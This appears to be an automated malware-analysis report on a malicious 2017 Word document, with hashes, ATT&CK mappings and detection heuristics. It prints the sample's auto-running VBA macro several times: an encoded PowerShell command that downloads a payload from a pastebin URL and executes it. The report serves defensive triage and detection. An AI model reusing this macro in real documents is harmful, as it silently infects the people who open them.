Office (OLE) malware analysis — malicious · 1fc1eb99195cf1d6

MALICIOUS

Office (OLE)

28.5 KB Created: 2017-11-08 14:01:00 Authoring application: Microsoft Office Word First seen: 2017-11-13

MD5: e3783a2acc974fc97827a4cb54be97d9 SHA-1: 84a489bf5942ccd7186400e2dfbc996de22a441c SHA-256: 1fc1eb99195cf1d636cd93fdcd609cf43cef783e03b2ec3a717cad443b2d5324

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The VBA macro 'Document_Open' contains a critical 'Shell()' call that executes a PowerShell command. This command is heavily encoded and appears to download a second-stage payload from 'http://pastebin.com/raw/Gyeir5yf' and then execute it. This indicates a downloader or dropper functionality, typical of initial-stage malware delivery.

Heuristics 9

VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

Sub Document_Open()
    Shell "powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGIAaQBuAC4AYwBvAG0ALwByAGEAdwAvAEcAeQBlAGkAcgA1AHkAZgAiACkAfABpAGUAeAA="
End Sub

PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA

Matched line in script

Sub Document_Open()
    Shell "powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGIAaQBuAC4AYwBvAG0ALwByAGEAdwAvAEcAeQBlAGkAcgA1AHkAZgAiACkAfABpAGUAeAA="
End Sub

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

Attribute VB_Customizable = True
Sub Document_Open()
    Shell "powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGIAaQBuAC4AYwBvAG0ALwByAGEAdwAvAEcAeQBlAGkAcgA1AHkAZgAiACkAfABpAGUAeAA="

Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	566 bytes
SHA-256: `39391f99e7213951b7d2790df3b4289d6845d691622c9556f02ddb197990a81e`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub Document_Open() Shell "powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAGIAaQBuAC4AYwBvAG0ALwByAGEAdwAvAEcAeQBlAGkAcgA1AHkAZgAiACkAfABpAGUAeAA=" End Sub

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